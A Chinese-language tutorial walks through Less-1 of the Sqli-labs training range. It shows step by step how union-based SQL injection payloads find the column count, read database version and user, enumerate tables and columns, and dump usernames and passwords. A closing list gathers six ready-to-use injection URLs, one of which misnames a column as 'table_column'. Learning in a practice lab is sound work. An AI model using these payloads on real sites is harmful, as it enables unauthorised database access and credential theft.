当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
SQL 注入靶场
1.0 Sqli-labs 下载安装
2.0 less-1 关卡实战开始
总结手工注入常见操作步骤
从github 库中clone 软件,不会的请自行百度搜索下载安装教程。
PS:在这里向大家推荐一款 firefox 上很好用的插件—— hackbar(当然谷歌上也可以使用),他是一款实用的帮助我们进行 sql 注入测试的软件。至于他的具体功能大家将在以后的试验中慢慢熟悉,在此就不再做讲解
2.1进入 less-1 挑战,从挑战的名称看出是基于错误的 GET 单引号字符型注入。我们在 URl 后面加上?id=1。页面变化成这个样子。
2.2 在 harkbar 操作栏点击 load URl 会将 URL 加载到 harkbar 提供的 url 框里,在框里我们进行 sql 注入,首先在页面后面加入’,页面回显不正常,有 sql 注入,然后我们通过 order by 语句猜字段。切记要在末尾加上 # 来注释。但是又由于是 get 型注入,不会将 # 进行 URL 编码,所以使用 hackbar 的编码功能进行编码
2.3 可以看到通过猜字段我们猜到有三个字段,所以 union select 一下,但是为什么 union select 不能显示其中的两个呢?在源代码中我们查看这段代码会发现 PHP 的 MySQL_fetch_array 函数只被调用了一次,所以说只需要让第一行的查询结果是空集,那么 union select 右边的查询结果就可以成为第一行打印在网页上。而 ID 这个参数一般来说传递的都是数字,而数字一般都是从 1 开始的,所以我们只需要让传递的参数是 0 或者负数、浮点数、字符串就可以了。
2.4 那么我们现在开始查询想要想要获取的东西,例如当前数据库的用户,数据库名,版本。分别使用 user()、database()、version(),来进行查询。
这样可以得知当前的数据库名为:security。当前用户为:root。当前数据库版本为:5.5.50
2.5 接下来我们要开始查询数据库中有哪些表,由于当前的数据库为 5.x 以上的版本,所以库中有 information_schema 表,该表记录了当前数据库的表、列、用户权限等信息,给 sql 注入提供了很大的方便。
注入时每次只能显示一个表,所以我们要用到 limit
2.6 现在我们开始列举 user 表中的列,使用 column_name from information_schema where table_schema = ** and table_name = ***** limit 0,1 #语句进行列举
2.7 剩下的工作就是把 username 和 password 爆出来了。使用 union select 1,username,password from users limit 0,1# 语句可以完成。
这里我只对第一关做了演练,其它1-35关讲解,请前往以下链接:
https://blog.csdn.net/God_XiangYu/article/details/95520778
· 1. 判断是否存在存在注入点
?id=1’
· 2. 判断长度
?id=1’ order by * --+
· 3. 确认长度为*后(长度为3),获取系统信息
?id=1’ union select 1,2,version() --+
或
?Id=1’ union select null,version(),null --+
· 4. 爆表
?id=1’ union select 1,2,table_name from information_schema.tables where table_schema=’security’limit 0,1--+
· 5. 爆列名(字段名)
?id=1’ union select 1,2,table_column from information_schema.columns where table_schema=’security’ and table_name=’users’limit 0,1--+
· 6. 爆账号和密码(前面几个步骤已爆出表面和列名)
?id=1’ union select 1,username,password from users limit 0,1 --+
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重